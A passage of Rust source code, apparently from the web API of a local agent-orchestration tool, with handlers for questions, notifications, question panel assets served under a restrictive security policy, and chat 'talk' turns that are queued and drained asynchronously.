5759 entry.path().join("run.json")
5760 } else {
5761 entry.path()
5762 };
5763 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5764 return None;
5765 }
5766 let metadata = path.metadata().ok()?;
5767 let modified = metadata
5768 .modified()
5769 .ok()?
5770 .duration_since(std::time::UNIX_EPOCH)
5771 .ok()?;
5772 let id = if runs {
5773 entry.file_name().to_string_lossy().into_owned()
5774 } else {
5775 path.file_stem()?.to_string_lossy().into_owned()
5776 };
5777 Some((id, (modified.as_nanos(), metadata.len())))
5778 })
5779 .collect()
5780}
5781
5782#[derive(Debug, Serialize)]
5783struct Delta {
5784 base: u64,
5785 changed: Vec<String>,
5786 removed: Vec<String>,
5787}
5788
5789fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5790 let mut changed: Vec<_> = next
5791 .iter()
5792 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5793 .map(|(id, _)| id.clone())
5794 .collect();
5795 let mut removed: Vec<_> = previous
5796 .keys()
5797 .filter(|id| !next.contains_key(*id))
5798 .cloned()
5799 .collect();
5800 changed.sort_unstable();
5801 removed.sort_unstable();
5802 Delta {
5803 base,
5804 changed,
5805 removed,
5806 }
5807}
5808
5809fn runs_revision(runs: &FsPath) -> u64 {
5816 stamps_revision(&store_stamps(runs, true))
5817}
5818
5819fn stamps_revision(stamps: &Stamps) -> u64 {
5823 use std::hash::{Hash as _, Hasher as _};
5824 if stamps.is_empty() {
5825 return 0;
5826 }
5827 let mut entries: Vec<_> = stamps.iter().collect();
5828 entries.sort_unstable();
5829 let mut hasher = std::hash::DefaultHasher::new();
5830 entries.hash(&mut hasher);
5831 hasher.finish().max(1)
5832}
5833
5834fn run_ids(runs: &FsPath) -> Vec<String> {
5840 let mut ids: Vec<String> = std::fs::read_dir(runs)
5841 .into_iter()
5842 .flatten()
5843 .flatten()
5844 .filter(|e| e.path().join("run.json").is_file())
5845 .map(|e| e.file_name().to_string_lossy().into_owned())
5846 .collect();
5847 ids.sort_unstable_by(|a, b| b.cmp(a));
5849 ids
5850}
5851
5852fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5854 let path = runs.join(id).join("run.json");
5855 let body =
5856 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5857 let state: RunState =
5858 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5859 run::migrate_schema(state)
5864}
5865
5866#[must_use]
5874pub fn runs_unreadable(runs: &FsPath) -> usize {
5875 run_ids(runs)
5876 .into_iter()
5877 .filter(|id| read_run(runs, id).is_err())
5878 .count()
5879}
5880
5881fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5883 if runs.join(id).join("run.json").is_file() {
5884 return Ok(id.to_owned());
5885 }
5886 pick(run_ids(runs), id, "run")
5887}
5888
5889fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5891 if queue.path_of(id).is_file() {
5892 return Ok(id.to_owned());
5893 }
5894 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5895}
5896
5897#[derive(Debug, Serialize)]
5908struct QuestionView {
5909 #[serde(flatten)]
5910 question: Question,
5911 detail_md: Vec<md::Node>,
5912 thread_bodies_md: Vec<Vec<md::Node>>,
5914 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5917 waiting_on_agent: bool,
5927 holder: Option<&'static str>,
5931 deputies_enabled: bool,
5935 run_is_task: bool,
5938 origin_chat: Option<String>,
5943 origin_chat_closed: bool,
5945}
5946
5947impl QuestionView {
5948 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5952 let base = md::ImageBase::QuestionPanel {
5953 id: question.id.clone(),
5954 };
5955 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5956 Self {
5957 detail_md: md::to_nodes(&question.detail, &base),
5958 thread_bodies_md: question
5959 .thread
5960 .iter()
5961 .map(|t| md::to_nodes(&t.body, &base))
5962 .collect(),
5963 thread_notes_md: question
5964 .thread
5965 .iter()
5966 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5967 .collect(),
5968 waiting_on_agent: question.waiting_on_agent(),
5969 holder,
5970 deputies_enabled,
5971 run_is_task: question.run_names_task(),
5972 origin_chat: None,
5973 origin_chat_closed: false,
5974 question,
5975 }
5976 }
5977
5978 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5980 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5981 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5982 self.origin_chat = talk.map(|t| t.id);
5983 self
5984 }
5985}
5986
5987fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5991 Config::discover(repo, None).ok().map(|(c, _)| c)
5992}
5993
5994fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5996 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5997}
5998
5999fn question_views(
6002 qs: Vec<Question>,
6003 store: &ask::Questions,
6004 load: impl FnOnce() -> Option<Config>,
6005) -> Vec<QuestionView> {
6006 if qs.is_empty() {
6007 return Vec::new();
6008 }
6009 let cfg = load();
6010 qs.into_iter()
6011 .map(|q| {
6012 let on = deputies_enabled(cfg.as_ref(), &q);
6013 QuestionView::of(q, store, on)
6014 })
6015 .collect()
6016}
6017
6018fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6028 if !q.status.open() {
6029 return None;
6030 }
6031 if q.cwd.is_none() && q.deputy.is_none() {
6032 return crate::deputy::kind_of(q).map(|_| "nobody");
6033 }
6034 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6035 Some(_) if q.deputy.is_some() => "deputy",
6036 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6037 Some(_) => "asker",
6038 None => "nobody",
6039 })
6040}
6041
6042async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6048 blocking(move || {
6049 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6050 Ok(Json(
6051 question_views(ui.questions.list(), &ui.questions, || {
6052 deputy_config(&ui.repo)
6053 })
6054 .into_iter()
6055 .map(|v| v.with_origin(&tasks, &talks))
6056 .collect(),
6057 ))
6058 })
6059 .await
6060}
6061
6062async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6065 blocking(move || {
6066 let items = ui.notices.list();
6067 let unread = items.iter().filter(|n| n.unread()).count();
6068 Ok(Json(
6069 serde_json::json!({ "unread": unread, "items": items }),
6070 ))
6071 })
6072 .await
6073}
6074
6075fn notice_error(e: anyhow::Error) -> ApiError {
6076 ApiError::not_found(format!("{e:#}"))
6079}
6080
6081async fn notification_read(
6083 State(ui): State<Arc<Ui>>,
6084 Path(id): Path<String>,
6085) -> ApiResult<Json<Notice>> {
6086 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6087}
6088
6089async fn notification_dismiss(
6091 State(ui): State<Arc<Ui>>,
6092 Path(id): Path<String>,
6093) -> ApiResult<Json<Notice>> {
6094 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6095}
6096
6097async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6099 blocking(move || {
6100 let changed = ui.notices.mark_all_read()?;
6101 Ok(Json(serde_json::json!({ "marked": changed })))
6102 })
6103 .await
6104}
6105
6106#[derive(Debug, Default, Deserialize)]
6112#[serde(default, deny_unknown_fields)]
6113struct NewAnswer {
6114 choice: Option<String>,
6115 text: Option<String>,
6116}
6117
6118async fn question_answer(
6119 State(ui): State<Arc<Ui>>,
6120 Path(id): Path<String>,
6121 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6122) -> ApiResult<Json<QuestionView>> {
6123 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6124 let answer = match (body.choice, body.text) {
6125 (Some(c), None) => Answer::Choice(c),
6126 (None, Some(t)) => Answer::Text(t),
6127 (Some(_), Some(_)) => {
6128 return Err(ApiError::bad_request(
6129 "send either `choice` or `text`, not both",
6130 ));
6131 }
6132 (None, None) => {
6133 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6134 }
6135 };
6136
6137 blocking(move || {
6138 let id = resolve_question(&ui.questions, &id)?;
6139 let q = ui
6140 .questions
6141 .get(&id)
6142 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6143 if !q.status.open() {
6144 return Err(ApiError::conflict(format!(
6148 "question {} is already {}",
6149 q.short(),
6150 q.status.as_str()
6151 )));
6152 }
6153 let (q, ()) = ui
6157 .questions
6158 .update(&q.id, |r| r.answer(answer))
6159 .map_err(ApiError::bad_request_from)?;
6160 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6161 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6162 Ok(Json(
6163 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6164 ))
6165 })
6166 .await
6167}
6168
6169#[derive(Debug, Deserialize)]
6171#[serde(deny_unknown_fields)]
6172struct NewSay {
6173 body: String,
6174}
6175
6176async fn question_say(
6186 State(ui): State<Arc<Ui>>,
6187 Path(id): Path<String>,
6188 body: std::result::Result<Json<NewSay>, JsonRejection>,
6189) -> ApiResult<Json<QuestionView>> {
6190 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6191 blocking(move || {
6192 let id = resolve_question(&ui.questions, &id)?;
6193 let q = ui
6194 .questions
6195 .get(&id)
6196 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6197 if !q.status.open() {
6198 return Err(ApiError::conflict(format!(
6202 "question {} is already {}",
6203 q.short(),
6204 q.status.as_str()
6205 )));
6206 }
6207 let (q, ()) = ui
6210 .questions
6211 .update(&q.id, |r| r.say(body.body))
6212 .map_err(ApiError::bad_request_from)?;
6213 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6214 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6215 Ok(Json(
6216 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6217 ))
6218 })
6219 .await
6220}
6221
6222async fn question_consult(
6231 State(ui): State<Arc<Ui>>,
6232 Path(id): Path<String>,
6233) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6234 let (view, reclaimed) = blocking({
6235 let ui = Arc::clone(&ui);
6236 move || {
6237 let id = resolve_question(&ui.questions, &id)?;
6238 let q = ui
6239 .questions
6240 .get(&id)
6241 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6242 if !q.status.open() {
6243 return Err(ApiError::conflict(format!(
6244 "question {} is already {}",
6245 q.short(),
6246 q.status.as_str()
6247 )));
6248 }
6249 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6250 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6251 return Err(ApiError::conflict(format!(
6252 "question {} has no chat to ask",
6253 q.short()
6254 )));
6255 };
6256 let cfg = if q.consult.is_none() {
6260 Some(Config::discover(&talk.repo, None)?.0)
6261 } else {
6262 None
6263 };
6264 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6265 let claim = if fresh {
6266 match ui.begin_queued_talk_turn(&talk.id)? {
6267 Some(turn_guard) => {
6268 let talk = ui.talks.get(&talk.id)?;
6269 let cfg = match cfg {
6270 Some(cfg) => cfg,
6271 None => Config::discover(&talk.repo, None)?.0,
6272 };
6273 Some((talk, cfg, turn_guard))
6274 }
6275 None => None,
6276 }
6277 } else {
6278 None
6279 };
6280 let q = ui.questions.get(&q.id)?;
6281 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6282 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6283 Ok((view, claim))
6284 }
6285 })
6286 .await?;
6287 if let Some((talk, cfg, turn_guard)) = reclaimed {
6288 let talks = ui.talks.clone();
6289 let id = talk.id.clone();
6290 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6291 }
6292 Ok((StatusCode::ACCEPTED, Json(view)))
6293}
6294
6295fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6297 if store.path_of(id).is_file() {
6298 return Ok(id.to_owned());
6299 }
6300 pick(
6301 store.list().into_iter().map(|q| q.id).collect(),
6302 id,
6303 "question",
6304 )
6305}
6306
6307async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6322 blocking(move || {
6323 let id = resolve_question(&ui.questions, &id)?;
6324 let Some(html) = ui.questions.panel_html(&id) else {
6325 return Err(ApiError::not_found(format!("question {id} has no panel")));
6326 };
6327 Ok(panel_response(
6328 "text/html; charset=utf-8",
6329 false,
6330 html.into_bytes(),
6331 ))
6332 })
6333 .await
6334}
6335
6336async fn question_asset(
6364 State(ui): State<Arc<Ui>>,
6365 Path((id, name)): Path<(String, String)>,
6366) -> ApiResult<Response> {
6367 if !crate::ask::valid_asset_name(&name) {
6370 return Err(ApiError::bad_request(format!(
6371 "`{name}` is not a usable asset name"
6372 )));
6373 }
6374 blocking(move || {
6375 let id = resolve_question(&ui.questions, &id)?;
6376 let asset = ui
6377 .questions
6378 .panel_asset(&id, &name)
6379 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6380 let Some(bytes) = asset else {
6381 return Err(ApiError::not_found(format!(
6382 "question {id} has no asset `{name}`"
6383 )));
6384 };
6385 Ok(panel_response(
6386 asset_content_type(&name),
6387 is_svg(&name),
6388 bytes,
6389 ))
6390 })
6391 .await
6392}
6393
6394fn asset_content_type(name: &str) -> &'static str {
6407 match extension(name).as_deref() {
6408 Some("png") => "image/png",
6409 Some("jpg" | "jpeg") => "image/jpeg",
6410 Some("gif") => "image/gif",
6411 Some("webp") => "image/webp",
6412 Some("svg") => "image/svg+xml",
6413 Some("css") => "text/css; charset=utf-8",
6414 Some("txt") => "text/plain; charset=utf-8",
6415 _ => "application/octet-stream",
6416 }
6417}
6418
6419fn is_svg(name: &str) -> bool {
6422 extension(name).as_deref() == Some("svg")
6423}
6424
6425fn extension(name: &str) -> Option<String> {
6427 name.rsplit_once('.')
6428 .map(|(_, ext)| ext.to_ascii_lowercase())
6429}
6430
6431fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6448 let mut res = (
6449 [
6450 (header::CONTENT_TYPE, content_type),
6451 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6452 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6453 (header::REFERRER_POLICY, "no-referrer"),
6454 ],
6455 body,
6456 )
6457 .into_response();
6458 if download {
6459 res.headers_mut().insert(
6460 header::CONTENT_DISPOSITION,
6461 HeaderValue::from_static("attachment"),
6462 );
6463 }
6464 res
6465}
6466
6467#[derive(Debug, Serialize)]
6473struct TalkView {
6474 #[serde(flatten)]
6475 talk: Talk,
6476 turn_bodies_md: Vec<Vec<md::Node>>,
6477 thinking: bool,
6485 context: talk::ContextUsage,
6489 operator_name: Option<String>,
6492 persona_name: Option<String>,
6494 persona_avatar: String,
6497}
6498
6499impl TalkView {
6500 fn new(talk: Talk, thinking: bool) -> Self {
6503 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6504 Self::with_config(talk, thinking, cfg.as_ref())
6505 }
6506
6507 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6510 let context = talk::context_usage(&talk, cfg);
6511 let turn_bodies_md = talk
6512 .turns
6513 .iter()
6514 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6515 .collect();
6516 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6517 let persona_name = persona::find(specs, &talk.persona)
6518 .filter(|p| !p.is_default())
6519 .map(|p| p.name);
6520 let persona_avatar = avatar_url(
6521 &talk.id,
6522 &persona::find(specs, &talk.persona)
6523 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6524 );
6525 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6526 Self {
6527 turn_bodies_md,
6528 thinking,
6529 context,
6530 operator_name,
6531 persona_name,
6532 persona_avatar,
6533 talk,
6534 }
6535 }
6536}
6537
6538#[derive(Debug, Serialize)]
6543struct TalkDetailView {
6544 #[serde(flatten)]
6545 view: TalkView,
6546 tasks: Vec<TaskView>,
6547 roster: Vec<RosterEntry>,
6550 personas: Vec<PersonaEntry>,
6553}
6554
6555#[derive(Debug, Serialize)]
6557struct PersonaEntry {
6558 id: String,
6559 name: String,
6560 avatar: String,
6562}
6563
6564#[derive(Debug, Serialize)]
6566struct RosterEntry {
6567 id: String,
6568 kind: AgentKind,
6569 runnable: bool,
6571}
6572
6573async fn talks_list(
6578 State(ui): State<Arc<Ui>>,
6579 Query(q): Query<ListQuery>,
6580) -> ApiResult<Json<Vec<TalkView>>> {
6581 blocking(move || {
6582 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6583 Ok(Json(
6584 ui.talks
6585 .list()
6586 .into_iter()
6587 .filter(|talk| q.contains(&talk.id))
6588 .map(|talk| {
6589 let thinking = ui.is_thinking(&talk.id);
6590 let cfg = configs
6591 .entry(talk.repo.clone())
6592 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6593 TalkView::with_config(talk, thinking, cfg.as_ref())
6594 })
6595 .collect(),
6596 ))
6597 })
6598 .await
6599}
6600
6601#[derive(Debug, Default, Deserialize)]
6606#[serde(default)]
6607struct NewTalk {
6608 agent: Option<String>,
6609 repo: Option<PathBuf>,
6610 preferred_agent: Option<serde_json::Value>,
6614 persona: Option<serde_json::Value>,
6615 implementers: Option<serde_json::Value>,
6616}
6617
6618async fn talk_post(
6621 State(ui): State<Arc<Ui>>,
6622 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6623) -> ApiResult<impl IntoResponse> {
6624 let body = match body {
6628 Ok(Json(body)) => body,
6629 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6630 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6631 };
6632 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6633 let cfg = config_for(&repo).await?;
6634 let view = blocking(move || {
6635 let preferred = talk::Preferred {
6636 agent: body
6637 .preferred_agent
6638 .as_ref()
6639 .and_then(|v| v.as_str())
6640 .map(str::to_owned),
6641 persona: body
6642 .persona
6643 .as_ref()
6644 .and_then(|v| v.as_str())
6645 .map(str::to_owned),
6646 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6647 };
6648 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6649 let thinking = ui.is_thinking(&talk.id);
6650 Ok(TalkView::new(talk, thinking))
6651 })
6652 .await?;
6653 Ok((StatusCode::CREATED, Json(view)))
6654}
6655
6656async fn talk_detail(
6658 State(ui): State<Arc<Ui>>,
6659 Path(id): Path<String>,
6660) -> ApiResult<Json<TalkDetailView>> {
6661 blocking(move || {
6662 let id = resolve_talk(&ui.talks, &id)?;
6663 let talk = ui.talks.get(&id)?;
6664 let thinking = ui.is_thinking(&talk.id);
6665 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6666 .into_iter()
6667 .map(TaskView::from)
6668 .collect();
6669 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6670 let roster = cfg
6671 .as_ref()
6672 .map(|cfg| {
6673 cfg.agents
6674 .iter()
6675 .map(|a| RosterEntry {
6676 id: a.id.clone(),
6677 kind: a.kind,
6678 runnable: agent::installed(a),
6679 })
6680 .collect()
6681 })
6682 .unwrap_or_default();
6683 let specs = cfg
6684 .as_ref()
6685 .map(|cfg| cfg.talk.personas.clone())
6686 .unwrap_or_default();
6687 let personas = persona::catalog(&specs)
6688 .into_iter()
6689 .map(|p| PersonaEntry {
6690 avatar: avatar_url(&talk.id, &p),
6691 id: p.id,
6692 name: p.name,
6693 })
6694 .collect();
6695 Ok(Json(TalkDetailView {
6696 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6697 tasks,
6698 roster,
6699 personas,
6700 }))
6701 })
6702 .await
6703}
6704
6705#[derive(Debug, Default, Deserialize)]
6711#[serde(default, deny_unknown_fields)]
6712struct NewTalkTurn {
6713 text: String,
6714 attachments: Vec<String>,
6715}
6716
6717#[derive(Debug, Deserialize)]
6718#[serde(deny_unknown_fields)]
6719struct EditTalkPending {
6720 text: String,
6721 expected_text: String,
6722 expected_attachments: Vec<String>,
6723}
6724
6725#[derive(Debug, Deserialize)]
6726#[serde(deny_unknown_fields)]
6727struct ClearTalkPending {
6728 expected_text: String,
6729 expected_attachments: Vec<String>,
6730}
6731
6732async fn talk_say(
6744 State(ui): State<Arc<Ui>>,
6745 Path(id): Path<String>,
6746 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6747) -> ApiResult<(StatusCode, Json<TalkView>)> {
6748 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6749 if body.text.trim().is_empty() && body.attachments.is_empty() {
6750 return Err(ApiError::bad_request("say something"));
6751 }
6752
6753 let id = {
6754 let ui = Arc::clone(&ui);
6755 let asked = id.clone();
6756 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6757 };
6758 {
6762 let ui = Arc::clone(&ui);
6763 let id = id.clone();
6764 blocking(move || {
6765 let talk = ui.talks.get(&id)?;
6766 if !talk.status.open() {
6767 return Err(ApiError::conflict(format!(
6768 "talk {} is {} and takes no more turns",
6769 talk.short(),
6770 talk.status.as_str()
6771 )));
6772 }
6773 Ok(())
6774 })
6775 .await?;
6776 }
6777
6778 let attachments = {
6783 let ui = Arc::clone(&ui);
6784 let id = id.clone();
6785 let ids = body.attachments.clone();
6786 blocking(move || {
6787 ids.into_iter()
6788 .map(|att_id| {
6789 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6790 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6791 })
6792 })
6793 .collect::<ApiResult<Vec<talk::Attachment>>>()
6794 })
6795 .await?
6796 };
6797
6798 let start = {
6803 let ui = Arc::clone(&ui);
6804 let id = id.clone();
6805 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6806 };
6807 let turn_guard = match start {
6808 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6809 TalkTurnStart::Pending => {
6810 return Err(ApiError::conflict(
6811 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6812 ));
6813 }
6814 TalkTurnStart::Foreign => {
6815 return Err(ApiError::conflict(
6816 "a turn is already running in another process; try again when it has finished",
6817 ));
6818 }
6819 TalkTurnStart::Busy => {
6820 let (tx, rx) = tokio::sync::oneshot::channel();
6836 tokio::spawn({
6837 let ui = Arc::clone(&ui);
6838 let id = id.clone();
6839 let said = body.text.clone();
6840 async move {
6841 let written = blocking({
6842 let ui = Arc::clone(&ui);
6843 let id = id.clone();
6844 move || {
6845 let mut talk = ui.talks.get(&id)?;
6846 #[cfg(test)]
6851 if let Some(gate) = ui
6852 .busy_queue_gate
6853 .lock()
6854 .unwrap_or_else(PoisonError::into_inner)
6855 .take()
6856 {
6857 let _ = gate.reached.send(());
6858 let _ = gate.release.recv();
6859 }
6860 if let Err(error) =
6861 talk::queue(&mut talk, &ui.talks, &said, attachments)
6862 {
6863 if let Ok(fresh) = ui.talks.get(&id) {
6864 if !fresh.status.open() {
6865 return Err(ApiError::conflict(format!(
6866 "talk {} is {} and takes no more turns",
6867 fresh.short(),
6868 fresh.status.as_str()
6869 )));
6870 }
6871 }
6872 return Err(ApiError::from(error));
6873 }
6874 let claim = match ui.begin_queued_talk_turn(&id)? {
6885 Some(turn_guard) => {
6886 let (cfg, _) = Config::discover(&talk.repo, None)?;
6887 Some((talk.clone(), cfg, turn_guard))
6888 }
6889 None => None,
6890 };
6891 let thinking = ui.is_thinking(&id);
6892 Ok((TalkView::new(talk, thinking), claim))
6893 }
6894 })
6895 .await;
6896 let (view, reclaimed) = match written {
6897 Ok(pair) => pair,
6898 Err(e) => {
6899 let _ = tx.send(Err(e));
6904 return;
6905 }
6906 };
6907 let _ = tx.send(Ok(view));
6910 if let Some((talk, cfg, turn_guard)) = reclaimed {
6911 let talks = ui.talks.clone();
6912 drain_loop(talk, talks, cfg, id, turn_guard).await;
6913 }
6914 }
6915 });
6916 let view = rx
6917 .await
6918 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6919 return Ok((StatusCode::ACCEPTED, Json(view)));
6920 }
6921 };
6922
6923 let (talk, cfg) = {
6924 let ui = Arc::clone(&ui);
6925 let id = id.clone();
6926 blocking(move || {
6927 let talk = ui.talks.get(&id)?;
6928 let (cfg, _) = Config::discover(&talk.repo, None)?;
6929 Ok((talk, cfg))
6930 })
6931 .await?
6932 };
6933
6934 let talks = ui.talks.clone();
6935 let (tx, rx) = tokio::sync::oneshot::channel();
6950 tokio::spawn({
6951 let ui = Arc::clone(&ui);
6952 let talks = talks.clone();
6953 let id = id.clone();
6954 let said = body.text.clone();
6955 let mut talk = talk.clone();
6956 async move {
6957 let recorded = blocking({
6958 let talks = talks.clone();
6959 move || {
6960 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6961 if let Ok(fresh) = talks.get(&talk.id) {
6962 if !fresh.status.open() {
6963 return Err(ApiError::conflict(format!(
6964 "talk {} is {} and takes no more turns",
6965 fresh.short(),
6966 fresh.status.as_str()
6967 )));
6968 }
6969 }
6970 return Err(ApiError::from(error));
6971 }
6972 Ok((said.trim().to_owned(), talk))
6978 }
6979 })
6980 .await;
6981 let (text, mut talk) = match recorded {
6982 Ok(pair) => pair,
6983 Err(e) => {
6984 let _ = tx.send(Err(e));
6988 return;
6989 }
6990 };
6991 let queued = talk.clone();
6992 let thinking = ui.is_thinking(&id);
6993 let _ = tx.send(Ok((queued, thinking)));
6996
6997 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6998 tracing::warn!("talk {id} turn failed: {e:#}");
7002 }
7003 drain_loop(talk, talks, cfg, id, turn_guard).await;
7006 }
7007 });
7008
7009 let (queued, thinking) = rx
7010 .await
7011 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7012
7013 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7015}
7016
7017async fn talk_pending_resume(
7021 State(ui): State<Arc<Ui>>,
7022 Path(id): Path<String>,
7023) -> ApiResult<(StatusCode, Json<TalkView>)> {
7024 let id = {
7025 let ui = Arc::clone(&ui);
7026 let asked = id.clone();
7027 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7028 };
7029 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7030 return Err(ApiError::conflict(
7031 "a talk turn is already running; the queued draft will be handled by it",
7032 ));
7033 };
7034 let (talk, cfg) = {
7035 let ui = Arc::clone(&ui);
7036 let id = id.clone();
7037 blocking(move || {
7038 let talk = ui.talks.get(&id)?;
7039 if !talk.status.open() {
7040 return Err(ApiError::conflict(format!(
7041 "talk {} is {} and takes no more turns",
7042 talk.short(),
7043 talk.status.as_str()
7044 )));
7045 }
7046 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7047 return Err(ApiError::conflict("there is no queued draft to resume"));
7048 }
7049 let (cfg, _) = Config::discover(&talk.repo, None)?;
7050 Ok((talk, cfg))
7051 })
7052 .await?
7053 };
7054 let view = TalkView::new(talk.clone(), true);
7055 let talks = ui.talks.clone();
7056 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7057 Ok((StatusCode::ACCEPTED, Json(view)))
7058}
7059
7060async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7076 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7077}
7078
7079async fn settle_settings_turn(
7083 talk: Talk,
7084 talks: Talks,
7085 cfg: Config,
7086 id: String,
7087 turn: TalkTurnGuard,
7088 observed: u64,
7089) -> bool {
7090 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7091 let turns = Arc::clone(&turn.turns);
7092 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7093 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7094 turn.release(&mut live);
7096 return false;
7097 }
7098 }
7099 let (started, settled) = tokio::sync::oneshot::channel();
7100 tokio::spawn(drain_loop_started(
7101 talk,
7102 talks,
7103 cfg,
7104 id,
7105 turn,
7106 Some(started),
7107 ));
7108 settled.await.unwrap_or(false)
7109}
7110
7111async fn drain_loop_started(
7112 mut talk: Talk,
7113 talks: Talks,
7114 cfg: Config,
7115 id: String,
7116 turn: TalkTurnGuard,
7117 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7118) {
7119 let live_set = Arc::clone(&turn.turns);
7120 let mut turn = Some(turn);
7128 loop {
7129 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7130 tracing::warn!("talk {id} lost its turn lease; not draining further");
7133 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7134 if let Some(turn) = turn.take() {
7135 turn.release(&mut live);
7136 }
7137 break;
7138 }
7139 {
7140 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7143 if live.parking {
7144 if let Some(turn) = turn.take() {
7145 turn.release(&mut live);
7146 }
7147 break;
7148 }
7149 }
7150 let observed = live_set
7154 .lock()
7155 .unwrap_or_else(PoisonError::into_inner)
7156 .queued
7157 .get(&id)
7158 .copied()
7159 .unwrap_or(0);
7160 let drained = blocking({
7161 let talks = talks.clone();
7162 let live_set = Arc::clone(&live_set);
7163 move || {
